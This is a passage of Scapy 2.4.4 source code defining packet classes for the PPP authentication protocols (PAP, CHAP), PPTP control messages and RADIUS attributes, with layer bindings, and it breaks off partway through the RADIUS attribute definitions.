PPP_LCP_Discard_Request(PPP_LCP): fields_desc = [ ByteEnumField("code", 11, _PPP_lcptypes), XByteField("id", 0), FieldLenField("len", None, fmt="H", length_of="data", adjust=lambda _, val: val + 8), IntField("magic_number", None), StrLenField("data", "", length_from=lambda pkt: pkt.len - 8), ] class PPP_LCP_Echo(PPP_LCP_Discard_Request): code = 9 def answers(self, other): return ( isinstance(other, PPP_LCP_Echo) and self.code == 10 and other.code == 9 and self.id == other.id ) # Password authentication protocol (RFC 1334) _PPP_paptypes = {1: "Authenticate-Request", 2: "Authenticate-Ack", 3: "Authenticate-Nak"} class PPP_PAP(Packet): name = "PPP Password Authentication Protocol" fields_desc = [ ByteEnumField("code", 1, _PPP_paptypes), XByteField("id", 0), FieldLenField("len", None, fmt="!H", length_of="data", adjust=lambda _, val: val + 4), StrLenField("data", "", length_from=lambda pkt: pkt.len - 4), ] @classmethod def dispatch_hook(cls, _pkt=None, *_, **kargs): code = None if _pkt: code = orb(_pkt[0]) elif "code" in kargs: code = kargs["code"] if isinstance(code, six.string_types): code = cls.fields_desc[0].s2i[code] if code == 1: return PPP_PAP_Request elif code in [2, 3]: return PPP_PAP_Response return cls def extract_padding(self, pay): return "", pay class PPP_PAP_Request(PPP_PAP): fields_desc = [ ByteEnumField("code", 1, _PPP_paptypes), XByteField("id", 0), FieldLenField("len", None, fmt="!H", length_of="username", adjust=lambda pkt, val: val + 6 + len(pkt.password)), FieldLenField("username_len", None, fmt="B", length_of="username"), StrLenField("username", None, length_from=lambda pkt: pkt.username_len), FieldLenField("passwd_len", None, fmt="B", length_of="password"), StrLenField("password", None, length_from=lambda pkt: pkt.passwd_len), ] def mysummary(self): return self.sprintf("PAP-Request username=%PPP_PAP_Request.username%" " password=%PPP_PAP_Request.password%") class PPP_PAP_Response(PPP_PAP): fields_desc = [ ByteEnumField("code", 2, _PPP_paptypes), XByteField("id", 0), FieldLenField("len", None, fmt="!H", length_of="message", adjust=lambda _, val: val + 5), FieldLenField("msg_len", None, fmt="B", length_of="message"), StrLenField("message", "", length_from=lambda pkt: pkt.msg_len), ] def answers(self, other): return isinstance(other, PPP_PAP_Request) and other.id == self.id def mysummary(self): res = "PAP-Ack" if self.code == 2 else "PAP-Nak" if self.msg_len > 0: res += self.sprintf(" msg=%PPP_PAP_Response.message%") return res # Challenge Handshake Authentication protocol (RFC1994) _PPP_chaptypes = {1: "Challenge", 2: "Response", 3: "Success", 4: "Failure"} class PPP_CHAP(Packet): name = "PPP Challenge Handshake Authentication Protocol" fields_desc = [ ByteEnumField("code", 1, _PPP_chaptypes), XByteField("id", 0), FieldLenField("len", None, fmt="!H", length_of="data", adjust=lambda _, val: val + 4), StrLenField("data", "", length_from=lambda pkt: pkt.len - 4), ] def answers(self, other): return isinstance(other, PPP_CHAP_ChallengeResponse) \ and other.code == 2 and self.code in (3, 4) \ and self.id == other.id @classmethod def dispatch_hook(cls, _pkt=None, *_, **kargs): code = None if _pkt: code = orb(_pkt[0]) elif "code" in kargs: code = kargs["code"] if isinstance(code, six.string_types): code = cls.fields_desc[0].s2i[code] if code in (1, 2): return PPP_CHAP_ChallengeResponse return cls def extract_padding(self, pay): return "", pay def mysummary(self): if self.code == 3: return self.sprintf("CHAP Success message=%PPP_CHAP.data%") elif self.code == 4: return self.sprintf("CHAP Failure message=%PPP_CHAP.data%") class PPP_CHAP_ChallengeResponse(PPP_CHAP): fields_desc = [ ByteEnumField("code", 1, _PPP_chaptypes), XByteField("id", 0), FieldLenField( "len", None, fmt="!H", length_of="value", adjust=lambda pkt, val: val + len(pkt.optional_name) + 5, ), FieldLenField("value_size", None, fmt="B", length_of="value"), XStrLenField("value", b'\x00\x00\x00\x00\x00\x00\x00\x00', length_from=lambda pkt: pkt.value_size), StrLenField("optional_name", "", length_from=lambda pkt: pkt.len - pkt.value_size - 5), ] def answers(self, other): return isinstance(other, PPP_CHAP_ChallengeResponse) \ and other.code == 1 and self.code == 2 and self.id == other.id def mysummary(self): if self.code == 1: return self.sprintf( "CHAP challenge=0x%PPP_CHAP_ChallengeResponse.value% " "optional_name=%PPP_CHAP_ChallengeResponse.optional_name%" ) elif self.code == 2: return self.sprintf( "CHAP response=0x%PPP_CHAP_ChallengeResponse.value% " "optional_name=%PPP_CHAP_ChallengeResponse.optional_name%" ) else: return super(PPP_CHAP_ChallengeResponse, self).mysummary() bind_layers(PPPoED, PPPoED_Tags, type=1) bind_layers(Ether, PPPoED, type=0x8863) bind_layers(Ether, PPPoE, type=0x8864) bind_layers(CookedLinux, PPPoED, proto=0x8863) bind_layers(CookedLinux, PPPoE, proto=0x8864) bind_layers(PPPoE, PPP, code=0) bind_layers(HDLC, PPP,) bind_layers(DIR_PPP, PPP) bind_layers(PPP, EAP, proto=0xc227) bind_layers(PPP, IP, proto=0x0021) bind_layers(PPP, IPv6, proto=0x0057) bind_layers(PPP, PPP_CHAP, proto=0xc223) bind_layers(PPP, PPP_IPCP, proto=0x8021) bind_layers(PPP, PPP_ECP, proto=0x8053) bind_layers(PPP, PPP_LCP, proto=0xc021) bind_layers(PPP, PPP_PAP, proto=0xc023) bind_layers(Ether, PPP_IPCP, type=0x8021) bind_layers(Ether, PPP_ECP, type=0x8053) bind_layers(GRE_PPTP, PPP, proto=0x880b) conf.l2types.register(DLT_PPP, PPP) conf.l2types.register(DLT_PPP_SERIAL, HDLC) conf.l2types.register(DLT_PPP_ETHER, PPPoE) conf.l2types.register(DLT_PPP_WITH_DIR, DIR_PPP) scapy-2.4.4/scapy/layers/pptp.py000066400000000000000000000377751372370053500166430ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Jan Sebechlebsky # This program is published under a GPLv2 license """ PPTP (Point to Point Tunneling Protocol) [RFC 2637] """ from scapy.packet import Packet, bind_layers from scapy.layers.inet import TCP from scapy.compat import orb from scapy.fields import ByteEnumField, FieldLenField, FlagsField, IntField, \ IntEnumField, LenField, XIntField, ShortField, ShortEnumField, \ StrFixedLenField, StrLenField, XShortField, XByteField _PPTP_MAGIC_COOKIE = 0x1a2b3c4d _PPTP_msg_type = {1: "Control Message", 2: "Managemenent Message"} _PPTP_ctrl_msg_type = { # Control Connection Management 1: "Start-Control-Connection-Request", 2: "Start-Control-Connection-Reply", 3: "Stop-Control-Connection-Request", 4: "Stop-Control-Connection-Reply", 5: "Echo-Request", 6: "Echo-Reply", # Call Management 7: "Outgoing-Call-Request", 8: "Outgoing-Call-Reply", 9: "Incoming-Call-Request", 10: "Incoming-Call-Reply", 11: "Incoming-Call-Connected", 12: "Call-Clear-Request", 13: "Call-Disconnect-Notify", # Error Reporting 14: "WAN-Error-Notify", # PPP Session Control 15: "Set-Link-Info"} _PPTP_general_error_code = {0: "None", 1: "Not-Connected", 2: "Bad-Format", 3: "Bad-Value", 4: "No-Resource", 5: "Bad-Call ID", 6: "PAC-Error"} class PPTP(Packet): name = "PPTP" fields_desc = [FieldLenField("len", None, fmt="H", length_of="data", adjust=lambda p, x: x + 12), ShortEnumField("type", 1, _PPTP_msg_type), XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), ShortEnumField("ctrl_msg_type", 1, _PPTP_ctrl_msg_type), XShortField("reserved_0", 0x0000), StrLenField("data", "", length_from=lambda p: p.len - 12)] registered_options = {} @classmethod def register_variant(cls): cls.registered_options[cls.ctrl_msg_type.default] = cls @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt: o = orb(_pkt[9]) return cls.registered_options.get(o, cls) return cls _PPTP_FRAMING_CAPABILITIES_FLAGS = ["Asynchronous Framing supported", "Synchronous Framing supported"] _PPTP_BEARER_CAPABILITIES_FLAGS = ["Analog access supported", "Digital access supported"] class PPTPStartControlConnectionRequest(PPTP): name = "PPTP Start Control Connection Request" fields_desc = [LenField("len", 156), ShortEnumField("type", 1, _PPTP_msg_type), XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), ShortEnumField("ctrl_msg_type", 1, _PPTP_ctrl_msg_type), XShortField("reserved_0", 0x0000), ShortField("protocol_version", 0x0100), XShortField("reserved_1", 0x0000), FlagsField("framing_capabilities", 0, 32, _PPTP_FRAMING_CAPABILITIES_FLAGS), FlagsField("bearer_capabilities", 0, 32, _PPTP_BEARER_CAPABILITIES_FLAGS), ShortField("maximum_channels", 65535), ShortField("firmware_revision", 256), StrFixedLenField("host_name", "linux", 64), StrFixedLenField("vendor_string", "", 64)] _PPTP_start_control_connection_result = {1: "OK", 2: "General error", 3: "Command channel already exists", 4: "Not authorized", 5: "Unsupported protocol version"} class PPTPStartControlConnectionReply(PPTP): name = "PPTP Start Control Connection Reply" fields_desc = [LenField("len", 156), ShortEnumField("type", 1, _PPTP_msg_type), XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), ShortEnumField("ctrl_msg_type", 2, _PPTP_ctrl_msg_type), XShortField("reserved_0", 0x0000), ShortField("protocol_version", 0x0100), ByteEnumField("result_code", 1, _PPTP_start_control_connection_result), ByteEnumField("error_code", 0, _PPTP_general_error_code), FlagsField("framing_capabilities", 0, 32, _PPTP_FRAMING_CAPABILITIES_FLAGS), FlagsField("bearer_capabilities", 0, 32, _PPTP_BEARER_CAPABILITIES_FLAGS), ShortField("maximum_channels", 65535), ShortField("firmware_revision", 256), StrFixedLenField("host_name", "linux", 64), StrFixedLenField("vendor_string", "", 64)] def answers(self, other): return isinstance(other, PPTPStartControlConnectionRequest) _PPTP_stop_control_connection_reason = {1: "None", 2: "Stop-Protocol", 3: "Stop-Local-Shutdown"} class PPTPStopControlConnectionRequest(PPTP): name = "PPTP Stop Control Connection Request" fields_desc = [LenField("len", 16), ShortEnumField("type", 1, _PPTP_msg_type), XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), ShortEnumField("ctrl_msg_type", 3, _PPTP_ctrl_msg_type), XShortField("reserved_0", 0x0000), ByteEnumField("reason", 1, _PPTP_stop_control_connection_reason), XByteField("reserved_1", 0x00), XShortField("reserved_2", 0x0000)] _PPTP_stop_control_connection_result = {1: "OK", 2: "General error"} class PPTPStopControlConnectionReply(PPTP): name = "PPTP Stop Control Connection Reply" fields_desc = [LenField("len", 16), ShortEnumField("type", 1, _PPTP_msg_type), XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), ShortEnumField("ctrl_msg_type", 4, _PPTP_ctrl_msg_type), XShortField("reserved_0", 0x0000), ByteEnumField("result_code", 1, _PPTP_stop_control_connection_result), ByteEnumField("error_code", 0, _PPTP_general_error_code), XShortField("reserved_2", 0x0000)] def answers(self, other): return isinstance(other, PPTPStopControlConnectionRequest) class PPTPEchoRequest(PPTP): name = "PPTP Echo Request" fields_desc = [LenField("len", 16), ShortEnumField("type", 1, _PPTP_msg_type), XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), ShortEnumField("ctrl_msg_type", 5, _PPTP_ctrl_msg_type), XShortField("reserved_0", 0x0000), IntField("identifier", None)] _PPTP_echo_result = {1: "OK", 2: "General error"} class PPTPEchoReply(PPTP): name = "PPTP Echo Reply" fields_desc = [LenField("len", 20), ShortEnumField("type", 1, _PPTP_msg_type), XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), ShortEnumField("ctrl_msg_type", 6, _PPTP_ctrl_msg_type), XShortField("reserved_0", 0x0000), IntField("identifier", None), ByteEnumField("result_code", 1, _PPTP_echo_result), ByteEnumField("error_code", 0, _PPTP_general_error_code), XShortField("reserved_1", 0x0000)] def answers(self, other): return isinstance(other, PPTPEchoRequest) and other.identifier == self.identifier # noqa: E501 _PPTP_bearer_type = {1: "Analog channel", 2: "Digital channel", 3: "Any type of channel"} _PPTP_framing_type = {1: "Asynchronous framing", 2: "Synchronous framing", 3: "Any type of framing"} class PPTPOutgoingCallRequest(PPTP): name = "PPTP Outgoing Call Request" fields_desc = [LenField("len", 168), ShortEnumField("type", 1, _PPTP_msg_type), XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), ShortEnumField("ctrl_msg_type", 7, _PPTP_ctrl_msg_type), XShortField("reserved_0", 0x0000), ShortField("call_id", 1), ShortField("call_serial_number", 0), IntField("minimum_bps", 32768), IntField("maximum_bps", 2147483648), IntEnumField("bearer_type", 3, _PPTP_bearer_type), IntEnumField("framing_type", 3, _PPTP_framing_type), ShortField("pkt_window_size", 16), ShortField("pkt_proc_delay", 0), ShortField('phone_number_len', 0), XShortField("reserved_1", 0x0000), StrFixedLenField("phone_number", '', 64), StrFixedLenField("subaddress", '', 64)] _PPTP_result_code = {1: "Connected", 2: "General error", 3: "No Carrier", 4: "Busy", 5: "No dial tone", 6: "Time-out", 7: "Do not accept"} class PPTPOutgoingCallReply(PPTP): name = "PPTP Outgoing Call Reply" fields_desc = [LenField("len", 32), ShortEnumField("type", 1, _PPTP_msg_type), XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), ShortEnumField("ctrl_msg_type", 8, _PPTP_ctrl_msg_type), XShortField("reserved_0", 0x0000), ShortField("call_id", 1), ShortField("peer_call_id", 1), ByteEnumField("result_code", 1, _PPTP_result_code), ByteEnumField("error_code", 0, _PPTP_general_error_code), ShortField("cause_code", 0), IntField("connect_speed", 100000000), ShortField("pkt_window_size", 16), ShortField("pkt_proc_delay", 0), IntField("channel_id", 0)] def answers(self, other): return isinstance(other, PPTPOutgoingCallRequest) and other.call_id == self.peer_call_id # noqa: E501 class PPTPIncomingCallRequest(PPTP): name = "PPTP Incoming Call Request" fields_desc = [LenField("len", 220), ShortEnumField("type", 1, _PPTP_msg_type), XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), ShortEnumField("ctrl_msg_type", 9, _PPTP_ctrl_msg_type), XShortField("reserved_0", 0x0000), ShortField("call_id", 1), ShortField("call_serial_number", 1), IntEnumField("bearer_type", 3, _PPTP_bearer_type), IntField("channel_id", 0), ShortField("dialed_number_len", 0), ShortField("dialing_number_len", 0), StrFixedLenField("dialed_number", "", 64), StrFixedLenField("dialing_number", "", 64), StrFixedLenField("subaddress", "", 64)] class PPTPIncomingCallReply(PPTP): name = "PPTP Incoming Call Reply" fields_desc = [LenField("len", 148), ShortEnumField("type", 1, _PPTP_msg_type), XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), ShortEnumField("ctrl_msg_type", 10, _PPTP_ctrl_msg_type), XShortField("reserved_0", 0x0000), ShortField("call_id", 1), ShortField("peer_call_id", 1), ByteEnumField("result_code", 1, _PPTP_result_code), ByteEnumField("error_code", 0, _PPTP_general_error_code), ShortField("pkt_window_size", 64), ShortField("pkt_transmit_delay", 0), XShortField("reserved_1", 0x0000)] def answers(self, other): return isinstance(other, PPTPIncomingCallRequest) and other.call_id == self.peer_call_id # noqa: E501 class PPTPIncomingCallConnected(PPTP): name = "PPTP Incoming Call Connected" fields_desc = [LenField("len", 28), ShortEnumField("type", 1, _PPTP_msg_type), XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), ShortEnumField("ctrl_msg_type", 11, _PPTP_ctrl_msg_type), XShortField("reserved_0", 0x0000), ShortField("peer_call_id", 1), XShortField("reserved_1", 0x0000), IntField("connect_speed", 100000000), ShortField("pkt_window_size", 64), ShortField("pkt_transmit_delay", 0), IntEnumField("framing_type", 1, _PPTP_framing_type)] def answers(self, other): return isinstance(other, PPTPIncomingCallReply) and other.call_id == self.peer_call_id # noqa: E501 class PPTPCallClearRequest(PPTP): name = "PPTP Call Clear Request" fields_desc = [LenField("len", 16), ShortEnumField("type", 1, _PPTP_msg_type), XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), ShortEnumField("ctrl_msg_type", 12, _PPTP_ctrl_msg_type), XShortField("reserved_0", 0x0000), ShortField("call_id", 1), XShortField("reserved_1", 0x0000)] _PPTP_call_disconnect_result = {1: "Lost Carrier", 2: "General error", 3: "Admin Shutdown", 4: "Request"} class PPTPCallDisconnectNotify(PPTP): name = "PPTP Call Disconnect Notify" fields_desc = [LenField("len", 148), ShortEnumField("type", 1, _PPTP_msg_type), XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), ShortEnumField("ctrl_msg_type", 13, _PPTP_ctrl_msg_type), XShortField("reserved_0", 0x0000), ShortField("call_id", 1), ByteEnumField("result_code", 1, _PPTP_call_disconnect_result), ByteEnumField("error_code", 0, _PPTP_general_error_code), ShortField("cause_code", 0), XShortField("reserved_1", 0x0000), StrFixedLenField("call_statistic", "", 128)] class PPTPWANErrorNotify(PPTP): name = "PPTP WAN Error Notify" fields_desc = [LenField("len", 40), ShortEnumField("type", 1, _PPTP_msg_type), XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), ShortEnumField("ctrl_msg_type", 14, _PPTP_ctrl_msg_type), XShortField("reserved_0", 0x0000), ShortField("peer_call_id", 1), XShortField("reserved_1", 0x0000), IntField("crc_errors", 0), IntField("framing_errors", 0), IntField("hardware_overruns", 0), IntField("buffer_overruns", 0), IntField("time_out_errors", 0), IntField("alignment_errors", 0)] class PPTPSetLinkInfo(PPTP): name = "PPTP Set Link Info" fields_desc = [LenField("len", 24), ShortEnumField("type", 1, _PPTP_msg_type), XIntField("magic_cookie", _PPTP_MAGIC_COOKIE), ShortEnumField("ctrl_msg_type", 15, _PPTP_ctrl_msg_type), XShortField("reserved_0", 0x0000), ShortField("peer_call_id", 1), XShortField("reserved_1", 0x0000), XIntField("send_accm", 0x00000000), XIntField("receive_accm", 0x00000000)] bind_layers(TCP, PPTP, sport=1723) bind_layers(TCP, PPTP, dport=1723) scapy-2.4.4/scapy/layers/radius.py000066400000000000000000000712021372370053500171260ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # Vincent Mauge # This program is published under a GPLv2 license """ RADIUS (Remote Authentication Dial In User Service) """ import struct import hashlib import hmac from scapy.compat import orb, raw from scapy.packet import Packet, Padding, bind_layers, bind_bottom_up from scapy.fields import ByteField, ByteEnumField, IntField, StrLenField,\ XStrLenField, XStrFixedLenField, FieldLenField, PacketLenField,\ PacketListField, IPField, MultiEnumField from scapy.layers.inet import UDP from scapy.layers.eap import EAP from scapy.config import conf from scapy.error import Scapy_Exception # https://www.iana.org/assignments/radius-types/radius-types.xhtml _radius_attribute_types = { 1: "User-Name", 2: "User-Password", 3: "CHAP-Password", 4: "NAS-IP-Address", 5: "NAS-Port", 6: "Service-Type", 7: "Framed-Protocol", 8: "Framed-IP-Address", 9: "Framed-IP-Netmask", 10: "Framed-Routing", 11: "Filter-Id", 12: "Framed-MTU", 13: "Framed-Compression", 14: "Login-IP-Host", 15: "Login-Service", 16: "Login-TCP-Port", 17: "Unassigned", 18: "Reply-Message", 19: "Callback-Number", 20: "Callback-Id", 21: "Unassigned", 22: "Framed-Route", 23: "Framed-IPX-Network", 24: "State", 25: "Class", 26: "Vendor-Specific", 27: "Session-Timeout", 28: "Idle-Timeout", 29: "Termination-Action", 30: "Called-Station-Id", 31: "Calling-Station-Id", 32: "NAS-Identifier", 33: "Proxy-State", 34: "Login-LAT-Service", 35: "Login-LAT-Node", 36: "Login-LAT-Group", 37: "Framed-AppleTalk-Link", 38: "Framed-AppleTalk-Network", 39: "Framed-AppleTalk-Zone", 40: "Acct-Status-Type", 41: "Acct-Delay-Time", 42: "Acct-Input-Octets", 43: "Acct-Output-Octets", 44: "Acct-Session-Id", 45: "Acct-Authentic", 46: "Acct-Session-Time", 47: "Acct-Input-Packets", 48: "Acct-Output-Packets", 49: "Acct-Terminate-Cause", 50: "Acct-Multi-Session-Id", 51: "Acct-Link-Count", 52: "Acct-Input-Gigawords", 53: "Acct-Output-Gigawords", 54: "Unassigned", 55: "Event-Timestamp", 56: "Egress-VLANID", 57: "Ingress-Filters", 58: "Egress-VLAN-Name", 59: "User-Priority-Table", 60: "CHAP-Challenge", 61: "NAS-Port-Type", 62: "Port-Limit", 63: "Login-LAT-Port", 64: "Tunnel-Type", 65: "Tunnel-Medium-Type", 66: "Tunnel-Client-Endpoint", 67: "Tunnel-Server-Endpoint", 68: "Acct-Tunnel-Connection", 69: "Tunnel-Password", 70: "ARAP-Password", 71: "ARAP-Features", 72: "ARAP-Zone-Access", 73: "ARAP-Security", 74: "ARAP-Security-Data", 75: "Password-Retry", 76: "Prompt", 77: "Connect-Info", 78: "Configuration-Token", 79: "EAP-Message", 80: "Message-Authenticator", 81: "Tunnel-Private-Group-ID", 82: "Tunnel-Assignment-ID", 83: "Tunnel-Preference", 84: "ARAP-Challenge-Response", 85: "Acct-Interim-Interval", 86: "Acct-Tunnel-Packets-Lost", 87: "NAS-Port-Id", 88: "Framed-Pool", 89: "CUI", 90: "Tunnel-Client-Auth-ID", 91: "Tunnel-Server-Auth-ID", 92: "NAS-Filter-Rule", 93: "Unassigned", 94: "Originating-Line-Info", 95: "NAS-IPv6-Address", 96: "Framed-Interface-Id", 97: "Framed-IPv6-Prefix", 98: "Login-IPv6-Host", 99: "Framed-IPv6-Route", 100: "Framed-IPv6-Pool", 101: "Error-Cause", 102: "EAP-Key-Name", 103: "Digest-Response", 104: "Digest-Realm", 105: "Digest-Nonce", 106: "Digest-Response-Auth", 107: "Digest-Nextnonce", 108: "Digest-Method", 109: "Digest-URI", 110: "Digest-Qop", 111: "Digest-Algorithm", 112: "Digest-Entity-Body-Hash", 113: "Digest-CNonce", 114: "Digest-Nonce-Count", 115: "Digest-Username", 116: "Digest-Opaque", 117: "Digest-Auth-Param", 118: "Digest-AKA-Auts", 119: "Digest-Domain", 120: "Digest-Stale", 121: "Digest-HA1", 122: "SIP-AOR", 123: "Delegated-IPv6-Prefix", 124: "MIP6-Feature-Vector", 125: "MIP6-Home-Link-Prefix", 126: "Operator-Name", 127: "Location-Information", 128: "Location-Data", 129: "Basic-Location-Policy-Rules", 130: "Extended-Location-Policy-Rules", 131: "Location-Capable", 132: "Requested-Location-Info", 133: "Framed-Management-Protocol", 134: "Management-Transport-Protection", 135: "Management-Policy-Id", 136: "Management-Privilege-Level", 137: "PKM-SS-Cert", 138: "PKM-CA-Cert", 139: "PKM-Config-Settings", 140: "PKM-Cryptosuite-List", 141: "PKM-SAID", 142: "PKM-SA-Descriptor", 143: "PKM-Auth-Key", 144: "DS-Lite-Tunnel-Name", 145: "Mobile-Node-Identifier", 146: "Service-Selection", 147: "PMIP6-Home-LMA-IPv6-Address", 148: "PMIP6-Visited-LMA-IPv6-Address", 149: "PMIP6-Home-LMA-IPv4-Address", 150: "PMIP6-Visited-LMA-IPv4-Address", 151: "PMIP6-Home-HN-Prefix", 152: "PMIP6-Visited-HN-Prefix", 153: "PMIP6-Home-Interface-ID", 154: "PMIP6-Visited-Interface-ID", 155: "PMIP6-Home-IPv4-HoA", 156: "PMIP6-Visited-IPv4-HoA", 157: "PMIP6-Home-DHCP4-Server-Address", 158: "PMIP6-Visited-DHCP4-Server-Address", 159: "PMIP6-Home-DHCP6-Server-Address", 160: "PMIP6-Visited-DHCP6-Server-Address", 161: "PMIP6-Home-IPv4-Gateway", 162: "PMIP6-Visited-IPv4-Gateway", 163: "EAP-Lower-Layer", 164: "GSS-Acceptor-Service-Name", 165: "GSS-Acceptor-Host-Name", 166: "GSS-Acceptor-Service-Specifics", 167: "GSS-Acceptor-Realm-Name", 168: "Framed-IPv6-Address", 169: "DNS-Server-IPv6-Address", 170: "Route-IPv6-Information", 171: "Delegated-IPv6-Prefix-Pool", 172: "Stateful-IPv6-Address-Pool", 173: "IPv6-6rd-Configuration", 174: "Allowed-Called-Station-Id", 175: "EAP-Peer-Id", 176: "EAP-Server-Id", 177: "Mobility-Domain-Id", 178: "Preauth-Timeout", 179: "Network-Id-Name", 180: "EAPoL-Announcement", 181: "WLAN-HESSID", 182: "WLAN-Venue-Info", 183: "WLAN-Venue-Language", 184: "WLAN-Venue-Name", 185: "WLAN-Reason-Code", 186: "WLAN-Pairwise-Cipher", 187: "WLAN-Group-Cipher", 188: "WLAN-AKM-Suite", 189: "WLAN-Group-Mgmt-Cipher", 190: "WLAN-RF-Band", 191: "Unassigned", } class RadiusAttribute(Packet): """ Implements a RADIUS attribute (RFC 2865). Every specific RADIUS attribute class should inherit from this one. """ name = "Radius Attribute" fields_desc = [ ByteEnumField("type", 1, _radius_attribute_types), FieldLenField("len", None, "value", "B", adjust=lambda pkt, x: len(pkt.value) + 2), StrLenField("value", "", length_from=lambda pkt: pkt.len - 2) ] registered_attributes = {} @classmethod def register_variant(cls): """ Registers the RADIUS attributes defined in this module. """ if hasattr(cls, "val"): cls.registered_attributes[cls.val] = cls else: cls.registered_attributes[cls.type.default] = cls @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): """ Returns the right RadiusAttribute class for the given data. """ if _pkt: attr_type = orb(_pkt[0]) return cls.registered_attributes.get(attr_type, cls) return cls def post_build(self, p, pay): length = self.len if length is None: length = len(p) p = p[:1] + struct.pack("!B", length) + p[2:] return p def guess_payload_class(self, _): return Padding class _SpecificRadiusAttr(RadiusAttribute): """ Class from which every "specific" RADIUS attribute defined in this module inherits. """ __slots__ = ["val"] match_subclass = True def __init__(self, _pkt="", post_transform=None, _internal=0, _underlayer=None, **fields): # noqa: E501 super(_SpecificRadiusAttr, self).__init__( _pkt, post_transform, _internal, _underlayer, **fields ) self.fields["type"] = self.val name_parts = self.__class__.__name__.split('RadiusAttr_') if len(name_parts) < 2: raise Scapy_Exception( "Invalid class name: {}".format(self.__class__.__name__) ) self.name = name_parts[1].replace('_', '-') # # RADIUS attributes which values are 4 bytes integers # class _RadiusAttrIntValue(_SpecificRadiusAttr): """ Implements a RADIUS attribute which value field is 4 bytes long integer. """ fields_desc = [ ByteEnumField("type", 5, _radius_attribute_types), ByteField("len", 6), IntField("value", 0) ] class RadiusAttr_User_Name(_SpecificRadiusAttr): """RFC 2865""" val = 1 class RadiusAttr_NAS_Port(_RadiusAttrIntValue): """RFC 2865""" val = 5 class RadiusAttr_Framed_MTU(_RadiusAttrIntValue): """RFC 2865""" val = 12 class RadiusAttr_Login_TCP_Port(_RadiusAttrIntValue): """RFC 2865""" val = 16 class RadiusAttr_Session_Timeout(_RadiusAttrIntValue): """RFC 2865""" val = 27 class RadiusAttr_Idle_Timeout(_RadiusAttrIntValue): """RFC 2865""" val = 28 class RadiusAttr_Framed_AppleTalk_Link(_RadiusAttrIntValue): """RFC 2865""" val = 37 class RadiusAttr_Framed_AppleTalk_Network(_RadiusAttrIntValue): """RFC 2865""" val = 38 class RadiusAttr_Acct_Delay_Time(_RadiusAttrIntValue): """RFC 2866""" val = 41 class RadiusAttr_Acct_Input_Octets(_RadiusAttrIntValue): """RFC 2866""" val = 42 class RadiusAttr_Acct_Output_Octets(_RadiusAttrIntValue): """RFC 2866""" val = 43 class RadiusAttr_Acct_Session_Time(_RadiusAttrIntValue): """RFC 2866""" val = 46 class RadiusAttr_Acct_Input_Packets(_RadiusAttrIntValue): """RFC 2866""" val = 47 class RadiusAttr_Acct_Output_Packets(_RadiusAttrIntValue): """RFC 2866""" val = 48 class RadiusAttr_Acct_Link_Count(_RadiusAttrIntValue): """RFC 2866""" val = 51 class RadiusAttr_Acct_Input_Gigawords(_RadiusAttrIntValue): """RFC 2869""" val = 52 class RadiusAttr_Acct_Output_Gigawords(_RadiusAttrIntValue): """RFC 2869""" val = 53 class RadiusAttr_Egress_VLANID(_RadiusAttrIntValue): """RFC 4675""" val = 56 class RadiusAttr_Port_Limit(_RadiusAttrIntValue): """RFC 2865""" val = 62 class RadiusAttr_ARAP_Security(_RadiusAttrIntValue): """RFC 2869""" val = 73 class RadiusAttr_Password_Retry(_RadiusAttrIntValue): """RFC 2869""" val = 75 class RadiusAttr_Tunnel_Preference(_RadiusAttrIntValue): """RFC 2868""" val = 83 class RadiusAttr_Acct_Interim_Interval(_RadiusAttrIntValue): """RFC 2869""" val = 85 class RadiusAttr_Acct_Tunnel_Packets_Lost(_RadiusAttrIntValue): """RFC 2867""" val = 86 class RadiusAttr_Management_Privilege_Level(_RadiusAttrIntValue): """RFC 5607""" val = 136 class RadiusAttr_Mobility_Domain_Id(_RadiusAttrIntValue): """RFC 7268""" val = 177 class RadiusAttr_Preauth_Timeout(_RadiusAttrIntValue): """RFC 7268""" val = 178 class RadiusAttr_WLAN_Venue_Info(_RadiusAttrIntValue): """RFC 7268""" val = 182 class RadiusAttr_WLAN_Reason_Code(_RadiusAttrIntValue): """RFC 7268""" val = 185 class RadiusAttr_WLAN_Pairwise_Cipher(_RadiusAttrIntValue): """RFC 7268""" val = 186 class RadiusAttr_WLAN_Group_Cipher(_RadiusAttrIntValue): """RFC 7268""" val = 187 class RadiusAttr_WLAN_AKM_Suite(_RadiusAttrIntValue): """RFC 7268""" val = 188 class RadiusAttr_WLAN_Group_Mgmt_Cipher(_RadiusAttrIntValue): """RFC 7268""" val = 189 class RadiusAttr_WLAN_RF_Band(_RadiusAttrIntValue): """RFC 7268""" val = 190 # # RADIUS attributes which values are string (displayed as hex) # class _RadiusAttrHexStringVal(_SpecificRadiusAttr): """ Implements a RADIUS attribute which value field is a string that will be as a hex string. """ __slots__ = ["val"] def __init__(self, _pkt="", post_transform=None, _internal=0, _underlayer=None, **fields): # noqa: E501 super(_RadiusAttrHexStringVal, self).__init__( _pkt, post_transform, _internal, _underlayer, **fields ) self.fields["type"] = self.val name_parts = self.__class__.__name__.split('RadiusAttr_') if len(name_parts) < 2: raise Scapy_Exception( "Invalid class name: {}".format(self.__class__.__name__) ) self.name = name_parts[1].replace('_', '-') fields_desc = [ ByteEnumField("type", 24, _radius_attribute_types), FieldLenField( "len", None, "value", "B", adjust=lambda p, x: len(p.value) + 2 ), XStrLenField("value", "", length_from=lambda p: p.len - 2 if p.len else 0) # noqa: E501 ] class RadiusAttr_User_Password(_RadiusAttrHexStringVal): """RFC 2865""" val = 2 class RadiusAttr_State(_RadiusAttrHexStringVal): """RFC 2865""" val = 